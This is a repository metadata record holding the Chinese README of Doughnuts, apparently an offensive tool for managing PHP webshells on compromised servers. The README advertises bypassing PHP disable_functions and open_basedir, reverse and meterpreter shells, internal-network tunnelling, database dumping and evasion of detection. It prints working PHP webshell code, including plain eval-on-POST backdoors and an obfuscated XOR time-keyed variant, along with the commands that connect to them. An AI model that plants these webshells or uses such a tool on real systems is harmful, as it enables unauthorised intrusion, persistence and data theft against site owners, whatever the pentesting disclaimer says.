{"id":18775990,"url":"https://github.com/way29/doughnuts","last_synced_at":"2025-08-07T18:37:02.611Z","repository":{"id":53224381,"uuid":"247949924","full_name":"WAY29/Doughnuts","owner":"WAY29","description":"A webshell manager for php🍩","archived":false,"fork":false,"pushed_at":"2023-05-23T12:45:08.000Z","size":832,"stargazers_count":84,"open_issues_count":1,"forks_count":13,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-05-08T05:54:54.252Z","etag":null,"topics":["php-webshell","python3","webshell","webshell-manager","webshell-tool"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/WAY29.png","metadata":{"files":{"readme":"Readme.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-03-17T11:14:15.000Z","updated_at":"2024-12-05T01:58:51.000Z","dependencies_parsed_at":"2024-11-07T19:45:50.408Z","dependency_job_id":null,"html_url":"https://github.com/WAY29/Doughnuts","commit_stats":{"total_commits":386,"total_committers":4,"mean_commits":96.5,"dds":0.03626943005181349,"last_synced_commit":"6c609368e29e01bdbd0ae30044193556799e90c0"},"previous_names":[],"tags_count":39,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WAY29%2FDoughnuts","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WAY29%2FDoughnuts/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WAY29%2FDoughnuts/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WAY29%2FDoughnuts/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/WAY29","download_url":"https://codeload.github.com/WAY29/Doughnuts/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253009851,"owners_count":21839713,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["php-webshell","python3","webshell","webshell-manager","webshell-tool"],"created_at":"2024-11-07T19:44:26.886Z","updated_at":"2025-05-08T05:54:59.677Z","avatar_url":"https://github.com/WAY29.png","language":"Python","readme":"# Doughnuts\n\n*一个基于Python3.6+的PHPwebshell管理器*\n\n\n\u003cp align=\"center\"\u003e\n     \u003ca target=\"_blank\" href=\"https://github.com/Stakcery/MagicStick\"\u003e\n        \u003cimg alt=\"\" src=\"https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat\"/\u003e\n     \u003c/a\u003e\n     \u003ca target=\"_blank\" href=\"https://github.com/WAY29/Doughnuts/blob/master/LICENSE\"\u003e\n        \u003cimg alt=\"\" src=\"https://img.shields.io/badge/license-MIT-green\"/\u003e\n     \u003c/a\u003e\n     \u003ca target=\"_blank\" href=\"https://github.com/php/php-src/tree/PHP-7.0.0\"\u003e\n        \u003cimg alt=\"\" src=\"https://img.shields.io/badge/python-%5E3%2e6-blue\"/\u003e\n     \u003c/a\u003e\n     \u003ca target=\"_blank\" href=\"https://github.com/Stakcery/MagicStick\"\u003e\n        \u003cimg alt=\"\" src=\"https://img.shields.io/github/watchers/WAY29/Doughnuts\"/\u003e\n     \u003c/a\u003e\n     \u003ca target=\"_blank\" href=\"https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com\u0026amp;utm_medium=referral\u0026amp;utm_content=WAY29/Doughnuts\u0026amp;utm_campaign=Badge_Grade\"\u003e\n        \u003cimg alt=\"\" src=\"https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3\"/\u003e\n     \u003c/a\u003e\n\u003c/p\u003e\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)\n\n![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)\n\n## 使用文档\n\n~~终于迎来了新的使用文档！~~\n\n***文档中许多内容已经过期，请以新版为准***\n\n详细使用文档请前往[此页面](https://doughnuts3.gitbook.io/)进行查看。\n\n## 特征\n\n- 支持连接,记录,管理webshell,方便下一次连接\n- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式\n- **请求与响应伪装**\n- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell\n- **支持绕过open_basedir**\n- **支持多种方式绕过disable_functions**\n    - 自动识别\n    - php7-backtrace\n    - php7-gc\n    - php7-json\n    - php7-splDoublyLinkedList\n    - LD_PRELOAD\n    - FFI\n    - COM\n    - imap_open\n    - MYSQL-UDF\n    - fpm(支持四种攻击方式，sock和端口的攻击方式)\n    - apache-mod-cgi\n    - iconv\n    - FFI-php_exec\n    - php7-reflectionProperty\n    - user_filter\n- 核心功能\n    - 获取网站,系统,进程信息\n    - 输出disbale_functions\n    - 寻找可写的PHP文件(以树状结构显示)\n    - 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)\n    - 执行自定义的php代码\n    - 获取一个临时的非完全交互式shell和webshell\n    - 正向/反弹shell\n    - 可以支持弹meterpreter的shell(php代码实现)\n    - (仅限双方均为*unix)获取完全交互式的反弹shell\n    - 读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载\n    - 数据库管理,临时的sql-shell,数据dump,分段dump\n    - **端口扫描**\n    - **出网检测**\n    - **集成neo-regeorg，一键开启socks5服务器**\n    - 内网网页文本式浏览代理，可自定义请求方法和数据\n    - 检测suid文件并给出提权建议 / 检测杀毒软件\n- 易于扩展\n\n## 依赖\n\n- Python3.6+\n- Python-requests\n- Python-pysocks\n- Python-colorama\n- Python-prettytable\n\n## 安装/运行方法\n\n***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***\n\n- 使用pip安装\n\n```sh\n# 安装\npython3 -m pip install doughnuts --user -i https://pypi.org/simple/\n# (windows)添加一个bat文件到python根目录下\n# (*unix)添加一个可执行文件到/usr/local/bin下\n# 安装启动器,以方便调用\npython3 -m doughnuts.install\n# 运行\ndoughnuts\n# 或\npython3 -m doughnuts\n# enjoy it!\n```\n\n- 通过poetry安装\n\n```sh\npyton3 -m pip install poetry # 或其他方法安装python-poetry\ngit clone https://github.com/WAY29/Doughnuts.git\ncd Doughnuts\n# debian/ubuntu系统需要运行此命令\napt-get install python3-venv\n# 安装\npoetry install\n# 运行\npoetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效\n# enjoy it!\n```\n\n- 直接安装\n\n```sh\n# 安装PYTHON 3.6+\ngit clone https://github.com/WAY29/Doughnuts.git\ncd Doughnuts/doughnuts\npip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm\n# (windows)添加一个bat文件到python根目录下\n# (*unix)添加一个可执行文件到/usr/local/bin下\n# 安装启动器,以方便调用\npython3 install.py\n# 运行\ndoughnuts\n# 或\npython3 doughnuts.py\n# enjoy it!\n```\n\n- 使用docker\n\n```bash\n# 启动一个doughnuts容器\ndocker run --name doughnuts -itd longlone/doughnuts\n# 执行doughnuts容器的bash\ndocker exec -it doughnuts bash\n# 在容器中运行doughnuts,这样你可以存储webshell记录等\ndoughnuts\n\n# 或者直接执行doughnuts\ndocker run --rm -it longlone/doughnuts:cli\n```\n\n## 使用例子\n\n*由于windows原因，在windows命令行连接下不支持\u0026符号连接参数。\n尽量将额外参数包裹引号进行传递，且逐一拆分。\n好的习惯:\"data:a=123\" \"data:b=456\"\n坏的习惯:\"data:a=123\u0026b=456\" (在windows命令行下会连接失败)*\n\n1. 普通webshell:\n\n    - 最平凡的webshell:\n\n        ```php\n        //test1.php\n        \u003c?php\n        error_reporting(0);\n        eval($_POST['2333']);\n        ?\u003e\n      ```\n      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:\n      ```\n      connect http://localhost/test1.php POST 2333\n      ```\n      \n    - 带解码的webshell:\n\n        ```php\n        //test2.php\n        \u003c?php\n        error_reporting(0);\n        eval(str_rot13(base64_decode($_REQUEST['2333'])));\n        ?\u003e\n      ```\n      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:\n      \n      ```\n      connect http://localhost/test2.php POST 2333 rot13 base64\n      ```\n      \n    - 需要额外参数与解码的webshell:\n\n        ```php\n        //test3.php\n        \u003c?php\n        if(@md5($_POST['a']) == \"202cb962ac59075b964b07152d234b70\"){  // a=123\n        \t@eval(base64_decode($_POST['2333']));\n        }\n        ```\n\n        那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:\n\n        ```\n        connect http://localhost/test.php POST 2333 base64 \"data:a=123\"\n        ```\n\n2. 生成webshell:\n    1. 运行doughnuts\n    2. 执行`generate a.php POST pass salt 1`生成webshell,名字为a.php\n    3. 上传a.php 根据提示执行`connect {木马url} POST pass doughnuts-salt`连接webshell\n\n## 自定义编码器\n1. 进入doughnuts/encode目录\n2. 新建/拷贝一个py文件,起一个名字,以time.py为例\n3. 文件中只需要写一个run函数,类似于\n```python\nfrom libs.config import alias\n\n\n@alias(True)\ndef run(data: str):\n    cipher = data\n    return cipher\n```\n4. 参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串\n5. 重启doughnuts即可使用`se/show_encoders`命令查看自定义的编码器,连接时使用`connect URL 请求方法 密码 编码器名字`即可使用自定义编码器\n6. 一个例子,以时间为秘钥的编码器\n```python\nfrom libs.config import alias\nfrom hashlib import md5\nfrom base64 import b64encode\nimport time\n\n\n@alias(True)\ndef run(data: str):\n    format_time = time.strftime(\"%Y-%m-%d %H:%M\", time.localtime())\n    key = md5(format_time.encode()).hexdigest().encode()\n    data = data.encode()\n    cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))\n    cipher = b64encode(cipher).decode()\n\n    return cipher\n```\n对应的php webshell\n```php\n\u003c?php \nclass COMI { \n    public $c='';\n    function __destruct() {\n        return eval(substr($this-\u003ec, 0));\n    }\n}\ndate_default_timezone_set(\"PRC\");\n$comi = new COMI();\n$password = \u0026$password1;\n$password1 = $_REQUEST['x'];\n$post = \u0026$password;\n$post=base64_decode($post);\n$key=md5(date(\"Y-m-d H:i\",time()));\nfor($i=0;$i\u003cstrlen($post);$i++){\n    $post[$i] = $post[$i] ^ $key[$i%32];\n}\n$lnng1 = \u0026$lnng;\n$lnng = $post;\n$lnng2 = $lnng1;\n@$comi-\u003ec = substr($lnng2, 0);\n?\u003e\n```\n\n## 自定义webshell模板\n1. 进入doughnuts/webshell_plugins目录\n2. 新建/拷贝一个py文件,起一个名字,以test.py为例\n3. 文件中只需要写一个get_php函数,类似于\n```python\ndef get_php(keyword: int = 4, passwd: str = \"\", salt: str = \"\"):\n    ...\n```\n4. 各个参数解释\n    - keyword是一个数字对应一种请求方式,分别对应: GET-\u003e3 POST-\u003e4 COOKIE-\u003e5 HEADER-\u003e6\n    - passwd是连接webshell的密码\n    - salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在\n5. 重启doughnuts或者在doughnuts使用`reload generate`重新加载generate命令,即可使用doughnuts生成自定义webshell\n\n## 参考\n\n- https://github.com/WangYihang/Webshell-Sniper\n- https://github.com/epinna/weevely3\n\n## 更新日志\n\n### 4.24.0\n- 4.24.0 \n    - 新增功能\n        - memshell: 通过交互式操作注入php内存马，仅作用于fastcgi,详情请看[这里](https://tttang.com/archive/1720/)\n    - 优化\n      - 优化bdf-fpm的逻辑，修复一些bug\n### 4.23.0\n- 4.23.0\n    - 新增功能\n        - bdf-php-concat_function: 对应数字17，详情请看[这里](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)\n- 4.23.1\n    - 修复bug\n        - connect: 某些webshell无法连接的问题 (出现 IndexError)\n        - cat: 在使用DOMDocument读取文件时没有base64解码的错误\n        - portscan: 无法使用的问题\n        - upload: 使用file_put_contents上传文件时错误的问题\n- 4.23.2\n    - 修复bug\n        - 在linux下调用vi编辑器会导致无法写入的问题\n        - webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式\n- 4.23.3\n    - 修复bug       \n        - upload无法使用的bug\n        - 在艰难环境下连接webshell的优化\n\n### 4.22.0\n\n- 4.22.0\n  - 新增功能\n    - extension\n      - 查看当前php所装扩展\n  - 优化功能\n    - 去除安装脚本中部分多余代码\n    - 用随机字符标识替代原先固定标识符的webshell是否存活检测\n    - 现在输入完整命令后按方向键(→)或tab显示候选参数\n    - 现在会根据自带的base64函数是否可用自动补上base64函数头\n    - cat\n      - 现在会根据情况自动选择读取文件方式\n    - write\n      - 现在会根据情况自动选择写入文件方式\n  - 重构代码\n    - 在libs目录中加上如functions/[插件目录]/[插件函数]形式，便于插件可读性的提高\n    - 对myapp.py中大部分php代码进行包装转移\n    - 对connect.py中部分php代码进行包装转移\n    - 对webshell_plugins内大部分插件的php代码进行包装转移\n  - 修复bug\n    - readline:\n      - 在自动补全参数时有可能会重复补全命令的错误\n      - 无法对general中命令参数进行自动补全的错误\n      - 有关debug代码部分的错误\n    - 更正部分文本错误，去除部分多余代码\n\n### 4.21.0\n\n- 4.21.0\n    - 新增功能\n        - bdf-shellshock: 对应数字16，Bash破壳（CVE-2014-6271)漏洞\n    - 修复bug\n        - bdf-fpm:\n            在某些情况下误判目标并不是使用fpm启动，现在解除这个限制，由使用者自己决定\n### 4.20.0\n- 4.20.0\n    - 新增特性\n        - 在极端环境下连接webshell\n    - 新增功能\n        - bdf: 12-iconv 增加bypass函数\n\n### 4.19.0\n- 4.19.0\n    - 新增功能\n        - bdf: 新增user_filter模式，适用于7.0-8.0所有版本\n### 4.18.0\n- 4.18.0\n    - 修复bug\n        - proxy: 可能失效的问题\n        - db_shell: 命令重复执行\n\n    - 优化功能\n        - upload\n            - 使用$_FILES上传失败时显示失败原因\n        - socks\n            - windows下http path的默认值使用/替换\\\n    - 新增功能\n        - db_exec\n            - 启动编辑器执行任意sql语句\n- 4.18.1\n    - 修复bug\n        - db_mdump\n            - 重试无效的问题\n            - 线程不安全导致dump的数据不全或重复的问题\n            - 数据为空时与数据类型不匹配的问题,将''替换为null\n- 4.18.2\n    - 修复bug\n        - mdownload\n            - 重试后无论如何都显示下载失败\n    - 优化功能\n        - 使用自定义的函数获取php配置选项的值，而非ini_get\n        - getenv\n            - 使用自定义的函数获取php配置选项的值，而非ini_get\n        - mdownload\n            - 添加hash验证\n            - 增加提示\n            - 使用临时文件而非内存存储chunk\n        - 请求: 添加重试次数2\n- 4.18.3\n    - 修复bug\n        - mdownload,download在下载时会创建文件夹\n        - write写入文件名错误\n        - edit编辑文件时为空\n    - README\n        - 添加shields\n### 4.17\n- 4.17.0\n    - 添加说明\n        - bdf: 补充4.15新增的fpm-ftp模式的说明\n    - 新增功能\n        - bdf-fpm:\n            - (实验性功能，不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果，可以用于绕过open_basedir等限制，暂不支持ftp模式\n        - system:\n            - 若命令以\u0026结尾，则会将其起新线程挂在后端执行\n\n        \n\n### 4.16\n- 4.16.0\n    - 优化功能\n        - socks\n            - 支持代理选项,支持如`http://127.0.0.1:1080/` 或 `socks5://127.0.0.1:1080/`的代理\n            - 支持在fsockopen被禁用时使用pfsockopen\n            - 更改说明,只支持5.4.0及以上版本\n    - 新增功能\n        - phpinfo\n            - 调用默认浏览器显示phpinfo信息\n    - 修复bug\n        - bdf LD_PRELOAD模式 mb_send_mail无法成功bypass\n        - 修复某些命令会输出debug消息的bug\n        - fwpf无法生效\n        - connect时额外参数有多个:或者=号时程序异常\n        - download，mdownload:指定文件保存名时认为是目录的bug\n- 4.16.1\n    - 优化功能\n        - 删除generate的非交互输出\n        - 修改reverse的文档，windows-php不建议使用\n        - connect:假如ini_get被禁用也能够链接\n        - bdf-10-fpm\n            - http_sock: 支持stream_socket_client函数作为备用\n            - ftp: 新增ftp模式，通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm\n        \n\n### 4.15\n- 4.15.0\n    - 修改别名\n        socks -\u003e old_socks\n    - 新增功能\n        - bdf\n            - 增加FFI-php_exec, php7-reflectionProperty模式\n        - outnetwork\n            - 快速检查目标机器是否能出网\n        - socks\n            - 启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)\n    - 修改输出\n        write\n    - 修复bug\n        - 无法使用参数短别名\n        - requirements.txt中的urllib3版本修改为1.26.5\n- 4.15.1\n    - 修改bug\n        - ps命令在无法读取/proc目录时没有输出报错\n        - execute,write,edit无法使用自定义编辑器或报错\n    - 修改输出\n        - touch\n    - 优化功能\n        - execute,write,edit\n            - 现在编辑一个临时的php文件而非无后缀文件\n            - 添加参数edit_args,用于提供编辑器的参数,例如execute code '\"--wait\"'\n            - 当使用code(即vscode)时会自动添加--wait参数\n    \n\n### 4.14\n- 4.14.0\n    - 新增功能\n        - bdf\n            - 增加iconv模式\n    - 修复bug\n        - edit, upload\n        - bdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本\n- 4.14.1\n- 4.14.2\n    - 修复bug\n        - 在Python3.9中报错\n            -bindshell, remp, reverse, socks\n        - gululingbo模板生成的webshell没有php头\n        - log命令默认参数时提示File path is invalid\n- 4.14.3\n    - 修复bug\n        - 在windows下连接使用额外参数时错误\n        - ls显示带有空格文件名的文件的时候显示不全\n    - 删除特性\n        - 不再能从外部使用connect命令\n\n        \n### 4.13\n- 4.13.0\n    - 新增功能\n        - bdf\n            - 增加apache-mod-cgi模式\n- 4.13.1\n    - 修复bug\n        - iconv.c源码\n### 4.12\n- 4.12.0\n    - 新增功能\n        - bdf\n            - 修改ld_preload部分,重构代码,支持x86 linux\n            - 为udf部分切割代码\n        - reverse\n            - 修改默认反弹类型,默认会根据目标系统选择powershell/bash\n            - 添加bash_exec类型,使用exec和管道符实现\n        - search\n            - 添加别名find, 最后结果以绝对路径显示\n        - remp\n            - 支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令\n        - upload\n            - 新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出\n    - 修复bug\n        upload\n    - 添加注释\n        bdf, reverse, av, checkvm\n    - 修改帮助文档\n        bdf, reverse, bobd, search, upload\n    - 重构代码\n        search, bdf, upload\n    - 修改分类\n        - verbose general-\u003eCOMMON\n### 4.11\n- 4.11.0\n    - 修改命令\n        - bdf命令 重写fpm部分,使用antsword的[bypass_disable_functions扩展](https://github.com/Medicean/as_bypass_php_disable_functions)\n            现在支持三种attack_type: gopher,sock,http_sock\n            - gopher: 使用curl扩展与gopher协议攻击fpm端口\n            - sock: 使用stream_socket_client攻击fpm-sock\n            - http_sock: 使用fsockopen,pfsockopen连接fpm端口\n    \n- 4.11.1\n    - 修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死\n- 4.11.2\n    - 修复无法使用`python3 -m doughnuts`启动doughnuts的bug\n### 4.10\n- 4.10.0\n    - 修改命令\n        - touch命令 支持windows,不再调用系统命令去实现\n- 4.10.1-3(废弃版本)\n- 4.10.4\n    - 添加缺少的依赖到requirements.txt: six\n- 4.10.5\n    - 添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts\n### 4.9\n- 4.9.0\n    - 修改核心\n        - 添加custom_plugins目录,用于存放用户自己编写的插件\n        - 添加config.ini文件,用于配置相关参数\n- 4.9.1\n    - 修复在pypi版本与github版本不一致的问题\n- 4.9.2\n- 4.9.3, 4.9.4\n    - 修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug\n\n### 4.8\n- 4.8.0\n    - 修改命令\n        - generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板\n- 4.8.1\n    - 优化代码结构\n    - 优化doughnuts加密算法\n    - 修复enrecv不存在的问题\n\n### 4.7\n- 4.7.0\n    - 修改命令\n        - remp命令 修改php模式的payload,添加bash和python的payload\n        - bdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)\n\n### 4.6\n- 4.6.0\n    - 添加命令\n        - verbose命令 用于开启/关闭提示符的详细信息显示\n\n### 4.5\n- 添加命令\n    - enrecv命令 用于随时开启/关闭回显加密\n    - remp命令 可以简易的弹一个meterpreter的shell\n- 修复bug\n    - 修复回显加密在弹shell时可能会出现解码错误的问题\n- 4.5.1\n    - 现在使用随机字符作为连接是否成功的判断以防特征检测\n- 4.5.2\n    - 添加命令\n        - mkdir命令 创建文件夹\n        - rmdir命令 删除空文件夹\n\n### 4.4\n- 修改核心\n    - 使用算法将回显加密\n- 4.4.1\n    - 修复bug\n        - **回显加密在php5会出错**\n- 4.4.2\n    - 修改命令\n        - touch命令 提示修改\n        - ps命令    提示修改,只允许在*unix目标上运行\n    - 修复bug\n        - 曾导致在linux下调用vi编辑器失败\n\n### 4.3\n- 修改命令\n    - portscan去除短名ps, 修改显示结果,变得更加可读\n    - bobd支持在ini_set被禁用时使用ini_alter\n    - bdf php7-backtrace 添加在Exception类被禁用后使用Error类\n- 添加命令\n    - copy命令 用于复制文件\n    - ps命令 类似于linux下的ps命令,用于读取系统进程信息\n- 修复bug\n    - 在back返回主菜单后清理mysql连接记录\n\n\n### 4.2\n- 修改结构\n    - myapp尝试丢弃webshell执行代码之前的输出\n- 添加命令\n    - mdownload命令 用于分块下载文件\n- 修改命令\n    - mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题\n- 修复bug\n    - 修复mdownload, mupload没有ls后补全的问题\n- 新增依赖\n    - tqdm\n- 4.2.1\n    - 修改命令\n        - db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义\n\n\n\n\n### 4.1\n- 修改结构\n    - 新建插件时不再需要更改helpmenu.py\n\n\n### 4.0\n- 修改命令\n    - 修复当使用mysqli扩展链接mysql数据库时db_info显示的问题\n    - 修复当使用pdo扩展链接数据库时无法db_dump的问题\n    - 修复某些文本错误\n    - db_dump命令 \n        - 不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}-\u003e{local_path}\n        - 添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sql\n    - dump命令\n        - 修复一个bug曾导致路径拼接时使用\\转义了外部php的引号导致的报错\n- 添加命令\n    - db_mdump命令 用于分块dump数据库\n- 4.0.1\n    - 修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题\n- 4.0.2\n    - 修复了db_mdump数据重复的问题\n- 4.0.3\n    - 删除测试输出,删除db_mdump中DROP DATABASE语句\n\n## 免责声明\n\n本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fway29%2Fdoughnuts","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fway29%2Fdoughnuts","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fway29%2Fdoughnuts/lists"}